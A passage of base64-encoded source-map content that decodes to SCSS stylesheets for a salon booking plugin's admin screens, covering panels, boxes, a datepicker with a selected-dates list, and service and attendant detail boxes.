4aW5zLnJlbSgxN3B4KTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRcdFx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpXG5cdFx0XHRcdFx0XHRzZXR0aW5ncy1taXhpbnMucmVtKC0zMHB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oLTMwcHgpO1xuXHRcdFx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0XHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTdweCk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmOm5vdCguc2xuLWJveC0taGFzcGFuZWwtLW9wZW4pIHtcblx0XHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdFx0Ly9wYWRkaW5nOiAwO1xuXHRcdFx0XHQvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodGVyLS1vcDtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0XHRcdC8vYmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0ZXI7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmLnNsbi1ib3gtLWhhc3BhbmVsLS1vcGVuIHtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ib3guc2xuLWJveC0tbWFpbi5zbG4tYm94LS1oYXNwYW5lbCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdH1cblx0fVxufVxuLyogQVRURU5EQVRTICYgU0VSVklDRVMgQ09MTEFQU0UgLy8gRU5EICovXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG5cdC5zbG4tYm94X19mbCB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRmbGV4LXdyYXA6IHdyYXA7XG5cdFx0YWxpZ24taXRlbXM6IGZsZXgtZW5kO1xuXHRcdHJvdy1nYXA6IDMuNWVtO1xuXHR9XG5cdC5zbG4tYm94X19mbF9faXRlbSB7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0cGFkZGluZzogMCAxNXB4O1xuXHRcdC5zbG4taW5wdXQtLXNpbXBsZS5zbG4tYm9va2luZy1kaXNjb3VudHMtLWluZm90ZXh0IHtcblx0XHRcdHNwYW4ge1xuXHRcdFx0XHRmb250LXdlaWdodDogNzAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1pbnB1dC0tc2ltcGxlIHtcblx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0fVxuXHRcdCYuc2xuLWJveF9fZmxfX2l0ZW0tLWZ1bGwge1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0fVxuXHRcdCYuc2xuLWJveF9fZmxfX2l0ZW0tLXRyYW5zYWN0aW9uIHtcblx0XHRcdC5zbG4tYm94LXRpdGxlLS1udS0tdGVyIHtcblx0XHRcdFx0bWluLWhlaWdodDogMi41cmVtO1xuXHRcdFx0XHRwYWRkaW5nOiAwLjQ1cmVtIDAuNjY2cmVtO1xuXHRcdFx0XHRmb250LXdlaWdodDogNjAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDcwMHB4KSB7XG5cdFx0XHR3aWR0aDogMzMuMzMzMyU7XG5cdFx0fVxuXHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTUwMHB4KSB7XG5cdFx0XHR3aWR0aDogMjUlO1xuXHRcdH1cblx0fVxuXHQjc2xuLWJvb2tpbmdfX3RvdGFscyB7XG5cdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3MDBweCkge1xuXHRcdFx0LnNsbi1ib3hfX2ZsX19pdGVtIHtcblx0XHRcdFx0d2lkdGg6IDMzLjMzMzMlO1xuXHRcdFx0XHR3aWR0aDogMjYlO1xuXHRcdFx0XHQmLnNsbi1ib3hfX2ZsX19pdGVtLS0yY29sIHtcblx0XHRcdFx0XHR3aWR0aDogNTIlO1xuXHRcdFx0XHRcdG1hcmdpbi1yaWdodDogMjYlO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHQuc2xuLWJveF9fZmxfX2l0ZW0ge1xuXHRcdFx0XHR3aWR0aDogMjYlO1xuXHRcdFx0XHQmLnNsbi1ib3hfX2ZsX19pdGVtLS0yY29sIHtcblx0XHRcdFx0XHR3aWR0aDogNTIlO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJveF9fZmwuc2xuLWJveF9fZmwtLTc1IHtcblx0XHRcdFx0d2lkdGg6IDc1JTtcblx0XHRcdFx0LnNsbi1ib3hfX2ZsX19pdGVtIHtcblx0XHRcdFx0XHRmbGV4OiAxIDEgY2FsYygzMy4zMyUgLSAzLjVlbSk7XG5cdFx0XHRcdFx0bWF4LXdpZHRoOiAzMy4zMzMzJTtcblx0XHRcdFx0XHQmLnNsbi1ib3hfX2ZsX19pdGVtLS0yY29sIHtcblx0XHRcdFx0XHRcdGZsZXg6IDEgMSAxMDAlO1xuXHRcdFx0XHRcdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdFx0XHRcdFx0bWFyZ2luLXJpZ2h0OiAzMy4zMzMzJTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cblxuLnNsbi1kYXRlcGlja2VyLXNlY3Rpb24ge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogc3RyZXRjaDtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBnYXA6IDMycHg7XG4gIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDExNzBweCkge1xuICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7XG4gIH1cblxuICAmLCAuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgfVxuXG4gIC5zbG4tc2VsZWN0ZWQtZGF0ZXMtcGFuZWwge1xuICAgIG1heC13aWR0aDogMzUwcHg7XG4gICAgd2lkdGg6IDEwMCU7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgIGhlaWdodDogYXV0bztcblxuICAgIC5zbG4tc2VsZWN0ZWQtZGF0ZXMtaGVhZGVyIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgZ2FwOiA4cHg7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZWZlZmVmO1xuICAgICAgcGFkZGluZzogMTJweCAxNnB4O1xuICAgICAgbWFyZ2luLWJvdHRvbTogOHB4O1xuXG4gICAgICBoNCwgc3BhbiB7XG4gICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICAgICAgZm9udC1zaXplOiAxNnB4O1xuICAgICAgfVxuXG4gICAgICBoNCB7XG4gICAgICAgIGNvbG9yOiAjNGI0YjRiO1xuICAgICAgfVxuXG4gICAgICBzcGFuIHtcbiAgICAgICAgY29sb3I6ICMxMTgzYzQ7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnNsbi1zZWxlY3RlZC1kYXRlcy1saXN0IHtcbiAgICAgIG1heC1oZWlnaHQ6IDE5MXB4O1xuICAgICAgbWluLWhlaWdodDogNjBweDtcbiAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICBmbGV4LWdyb3c6IDE7XG5cbiAgICAgIC5zbG4tc2VsZWN0ZWQtZGF0ZXMtZW1wdHkge1xuICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgfVxuXG4gICAgICAuc2xuLXNlbGVjdGVkLWRhdGUtaXRlbSB7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgICAgZ2FwOiA0cHg7XG4gICAgICAgIHBhZGRpbmc6IDhweCAwO1xuXG4gICAgICAgICY6bm90KDpsYXN0LWNoaWxkKSB7XG4gICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDA7XG4gICAgICAgIH1cblxuICAgICAgICAuc2xuLXJlbW92ZS1kYXRlIHtcbiAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgICAgIHdpZHRoOiAyNnB4O1xuICAgICAgICAgIGhlaWdodDogMjZweDtcbiAgICAgICAgICBtYXJnaW46IDA7XG4gICAgICAgICAgcGFkZGluZzogMDtcblxuICAgICAgICAgIHN2ZyB7XG4gICAgICAgICAgICBmaWxsOiAjMzQ4YmMyO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIC5zbG4tY2xlYXItYWxsLWRhdGVzLnNsbi1idG4ge1xuICAgICAgbWFyZ2luLXRvcDogOHB4O1xuICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICBwYWRkaW5nOiA2cHggMTJweDtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICB9XG4gIH1cbn1cbiIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcblxuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuQHVzZSBcImJ1dHRvbnNcIjtcblxuLnNsbi1wYW5lbCB7XG5cdC8vQGV4dGVuZCAuc2xuLWJveC0tc3ViO1xuXHRib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRib3JkZXItYm90dG9tOiBub25lO1xuXHRib3JkZXItcmlnaHQ6IG5vbmU7XG5cdGJvcmRlci1sZWZ0OiBub25lO1xuXHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0cGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdC8vbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg1cHgpO1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihib3JkZXIgMjAwbXMsIG1hcmdpbi1ib3R0b20gMjAwbXMpO1xuXHQmLnNsbi1wYW5lbC0tYWN0aXZlIHtcblx0XHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHQvL21hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdCY6bGFzdC1jaGlsZCB7XG5cdFx0XHQvL21hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0XHRib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3gtLXN1YiB7XG5cdFx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweClcblx0XHRcdHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0fVxuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0Ji5zbG4tcGFuZWwtLWFjdGl2ZSB7XG5cdFx0XHRwYWRkaW5nLXRvcDogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1jaGVja2JveCBpbnB1dCArIGxhYmVsLFxuXHQuc2xuLWNoZWNrYm94IGlucHV0ICsgbGFiZWw6bnRoLWNoaWxkKDIpIHtcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHR9XG59XG5cbi5zbG4tcGFuZWw6bGFzdC1vZi10eXBlIHtcblx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcblx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG59XG4uc2xuLXBhbmVsLS1jb250ZW50IHtcblx0b3BhY2l0eTogMDtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oaGVpZ2h0IDIwMG1zLCBvcGFjaXR5IDIwMG1zKTtcblx0Ji5pbiB7XG5cdFx0b3BhY2l0eTogMTtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cbn1cbi5zbG4tcGFuZWx0cmlnZ2VyIHtcblx0Ji5zbG4tYnRuIHtcblx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdEBleHRlbmQgLnNsbi1idG4tLWljb247XG5cdFx0QGV4dGVuZCAuc2xuLWljb24tLWFycm93LS1kb3duO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0JjphZnRlciB7XG5cdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5pZTExKCkge1xuXHRcdFx0XHRmb250LXNpemU6IDEuNHJlbTtcblx0XHRcdH1cblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYmFja2dyb3VuZC1jb2xvciAyMDBtcyk7XG5cdFx0Ji5zbG4tYnRuLS1hY3RpdmUge1xuXHRcdFx0QGV4dGVuZCAuc2xuLWljb24tLWFycm93LS11cDtcblx0XHRcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdFx0JjphZnRlciB7XG5cdFx0XHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmllMTEoKSB7XG5cdFx0XHRcdFx0Zm9udC1zaXplOiAxLjRyZW07XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHR9XG5cdH1cblx0Ji5zbG4tYnRuLS1iaWcge1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NHB4KTtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NHB4KTtcblx0XHR9XG5cdH1cbn1cbi5zbG4tcGFuZWwuc2xuLXBhbmVsLS1vbmNoZWNrIHtcblx0cGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHQuc2xuLWlucHV0LS1zaW1wbGUsXG5cdC5zbG4tY2hlY2tib3gge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHR9XG5cdC5zbG4tcGFuZWx0cmlnZ2VyIHtcblx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDlweCk7XG5cdH1cbn1cbiIsIkB1c2UgXCIuLi90eXBvLWFkbWluXCI7XG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG5AdXNlIFwiYnV0dG9uc1wiO1xuQHVzZSBcImlucHV0c1wiO1xuQHVzZSBcImJveGVzXCI7XG5cbiNzbG5fc2hvcC1kZXRhaWxzLFxuI3Nsbl9hdHRlbmRhbnQtZGV0YWlscyxcbiNwb3N0ZXhjZXJwdCB7XG5cdEBleHRlbmQgLnNsbi1ib3g7XG5cdEBleHRlbmQgLnNsbi1ib3gtLW1haW47XG5cdGJvcmRlcjogbm9uZTtcblx0Zm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtYmFzZTtcblx0cGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdCYucG9zdGJveCAuaW5zaWRlLFxuXHQmLnN0dWZmYm94IC5pbnNpZGUge1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0bGluZS1oZWlnaHQ6IGluaGVyaXQ7XG5cdFx0Zm9udC1zaXplOiBpbmhlcml0O1xuXHR9XG5cdD4gLnJvdyB7XG5cdFx0QGV4dGVuZCAuc2xuLWJveC0tc3ViO1xuXHR9XG5cdC5oYW5kbGVkaXYuYnV0dG9uLWxpbmsgLnRvZ2dsZS1pbmRpY2F0b3Ige1xuXHRcdEBleHRlbmQgLnNsbi1idG47XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bi0tbWFpbjtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1zbWFsbDtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1pY29uO1xuXHRcdEBleHRlbmQgLnNsbi1pY29uLS1hcnJvdy0tdXA7XG5cdFx0JjphZnRlciB7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG5cdFx0fVxuXHRcdCY6YmVmb3JlIHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXHR9XG5cdCYuY2xvc2VkIC5oYW5kbGVkaXYuYnV0dG9uLWxpbmsgLnRvZ2dsZS1pbmRpY2F0b3Ige1xuXHRcdEBleHRlbmQgLnNsbi1pY29uLS1hcnJvdy0tZG93bjtcblx0fVxufVxuI3RpdGxlZGl2LS0ge1xuXHRwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzNnB4KTtcbn1cbi8qIEZJWCAwOTIwMjNcbiN0aXRsZXdyYXAtLSB7XG5cdEBleHRlbmQgLnNsbi1pbnB1dC0tc2ltcGxlO1xuXHRAZXh0ZW5kICVzbG4taW5wdXQtbGFiZWw7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cdGlucHV0IHtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG5cdH1cblx0bGFiZWwge1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTRweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG59XG4qL1xuI3Bvc3RzdHVmZiAjc2xuX3Nob3AtZGV0YWlscyA+IGgyLFxuI3Bvc3RzdHVmZiAjc2xuX2F0dGVuZGFudC1kZXRhaWxzID4gaDIge1xuXHQvKiBGSVggMDkyMDIzIEBleHRlbmQgLnNsbi1ib3gtdGl0bGU7ICovXG5cdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdHNwYW4ge1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0XHRmb250LXNpemU6IDFlbTtcblx0fVxufVxuI3Bvc3RleGNlcnB0IHtcblx0Lmluc2lkZSB7XG5cdFx0QGV4dGVuZCAuc2xuLWlucHV0LS1zaW1wbGU7XG5cdFx0QGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsO1xuXHR9XG5cdGgyIHtcblx0XHQvKiBGSVggMDkyMDIzIEBleHRlbmQgLnNsbi1ib3gtdGl0bGU7ICovXG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0XHRzcGFuIHtcblx0XHRcdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0XHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdH1cblx0fVxufVxuXG4jc2xuX3Nob3AtZGV0YWlscyxcbiNzbG5fYXR0ZW5kYW50LWRldGFpbHMge1xuXHRiYWNrZ3JvdW5kOiAjZWVlICFpbXBvcnRhbnQ7XG5cdC5mYWRlIHtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihvcGFjaXR5IDI1MG1zKTtcblx0fVxufVxuIiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuQHVzZSBcIi4uL3R5cG8tYWRtaW5cIjtcbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcbkB1c2UgXCJidXR0b25zXCI7XG5AdXNlIFwiaW5wdXRzXCI7XG5AdXNlIFwiYm94ZXNcIjtcblxuI3Nsbl9zZXJ2aWNlLWRldGFpbHMge1xuXHRAZXh0ZW5kIC5zbG4tYm94O1xuXHRAZXh0ZW5kIC5zbG4tYm94LS1tYWluO1xuXHRib3JkZXI6IG5vbmU7XG5cdGZvbnQtc2l6ZTogdHlwby1hZG1pbi4kZm9udC1zaXplLWJhc2U7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHQmLnBvc3Rib3ggLmluc2lkZSxcblx0Ji5zdHVmZmJveCAuaW5zaWRlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdGxpbmUtaGVpZ2h0OiBpbmhlcml0O1xuXHRcdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0fVxuXHQuaGFuZGxlZGl2LmJ1dHRvbi1saW5rIC50b2dnbGUtaW5kaWNhdG9yIHtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuO1xuXHRcdEBleHRlbmQgLnNsbi1idG4tLW1haW47XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bi0tc21hbGw7XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bi0taWNvbjtcblx0XHRAZXh0ZW5kIC5zbG4taWNvbi0tYXJyb3ctLXVwO1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuXHRcdH1cblx0XHQmOmJlZm9yZSB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0fVxuXHQmLmNsb3NlZCAuaGFuZGxlZGl2LmJ1dHRvbi1saW5rIC50b2dnbGUtaW5kaWNhdG9yIHtcblx0XHRAZXh0ZW5kIC5zbG4taWNvbi0tYXJyb3ctLWRvd247XG5cdH1cblx0LnNsbl9hdHRlbmRhbnRfc2VydmljZXNfbGlzdCxcblx0LnNsbi1zZXJ2aWNlLXByaWNlLXRpbWUgLnNsbl9hdHRlbmRhbnRfc2VydmljZXNfbGlzdCB7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHQjX3Nsbl9hdHRlbmRhbnRfc2VydmljZXMgKyAuc2VsZWN0Mi1jb250YWluZXIge1xuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdFx0Ym9yZGVyLWJvdHRvbTogM3JlbSBzb2xpZCAjZmZmO1xuXHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHQvL21hcmdpbi1ib3R0b206IDMuMnJlbTtcblx0XHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0XHRtYXgtaGVpZ2h0OiAxOHJlbTtcblx0XHRcdFx0XHRvdmVyZmxvdy15OiBhdXRvO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuXHRcdFx0XHRcdHdpZHRoOiBjYWxjKDEwMCUgLSA0NHB4KTtcblx0XHRcdFx0XHRoZWlnaHQ6IDNyZW07XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdHRvcDogMTAwJTtcblx0XHRcdFx0XHRsZWZ0OiAwO1xuXHRcdFx0XHRcdGJvcmRlci10b3A6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0XHRcdGJhY2tncm91bmQ6ICNmZmY7XG5cdFx0XHRcdFx0Ly9wYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDlweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDRweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdFx0fVxuXG5cdFx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG5cdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHQuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG5cdFx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IHJnYigyNDEsIDI0NywgMjUxKTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdFx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHR3aWR0aDogNDRweDtcblx0XHRcdFx0aGVpZ2h0OiAzcmVtO1xuXHRcdFx0XHR0b3A6IDEwMCU7XG5cdFx0XHRcdHJpZ2h0OiAwO1xuXHRcdFx0XHRiYWNrZ3JvdW5kOiAjZmZmO1xuXHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRcdFx0Ym9yZGVyLXRvcDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHR9XG5cdFx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuXHRcdFx0XHQmOmhvdmVyLFxuXHRcdFx0XHQmOmZvY3VzLFxuXHRcdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IHJnYigyNDEsIDI0NywgMjUxKTtcblx0XHRcdFx0XHRcdGNvbG9yOiAjMDI3N2JkO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2VsZWN0Mi1jb250